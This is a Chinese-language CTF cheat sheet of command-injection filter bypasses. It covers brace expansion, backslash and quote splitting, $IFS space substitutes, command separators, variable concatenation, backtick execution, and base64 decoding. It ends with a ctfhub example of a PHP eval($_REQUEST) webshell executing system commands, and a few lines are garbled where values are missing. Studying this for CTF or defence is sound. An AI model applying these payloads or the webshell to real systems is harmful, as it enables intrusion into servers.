文章目录
- 花括号
- 斜杠
- 空格过滤
- 一些命令分隔符
- 黑名单绕过
- 拼接绕过
- 编码绕过
- 单引号和双引号绕过
- 利用Shell 特殊变量绕过
- linux中直接查看文件内容的工具
- 文件构造
花括号
{}
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令{cat,flag}
斜杠
路径 /
\是在正则等语法里面,表示后面跟的字符是正常字符,不需要转义。
也就意味着,我们可以在rce漏洞,过滤掉cat ls
等命令时候,直接使用ca\t
来实现绕过
空格过滤
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
一些命令分隔符
linux中:%0a(回车) 、%0d(换行) 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
黑名单绕过
拼接绕过
比如:a=l;b=s;$a$b
利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat $a$b
利用.拼接绕过(sy.(st).em)使用内敛执行代替system
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
<?=`ls /`;?> # 等效于<?php echo `ls /`; ?>
编码绕过
[root~]# echo 'Y2F0wqAK' | base64 -d
-d是解码,是base64解码xxd - r -p
可以转换16进制,同样用户管道符之后。
单引号和双引号绕过
比如:ca‘‘t flag 或ca""t flag
利用Shell 特殊变量绕过
例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。$@表示
比如:ca$@t fla$@g
或者ca$1t fla$2g
linux中直接查看文件内容的工具
cat、tac、more、less、head、tail、nl、sed、sort、uniq
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
(假设该目录下有和)
cat `ls`
等同于–>
cat flag.php;cat index.php
文件构造
在ctfhub文件包含
中,有一个shell,txt,也就是文件
我们令?file =
,已知内容为
<?php eval($_REQUEST['ctfhub']);?>
wrequest类型是由get和post构成的
在post数据里输入ctfhub=system("ls /");
就可以执行命令.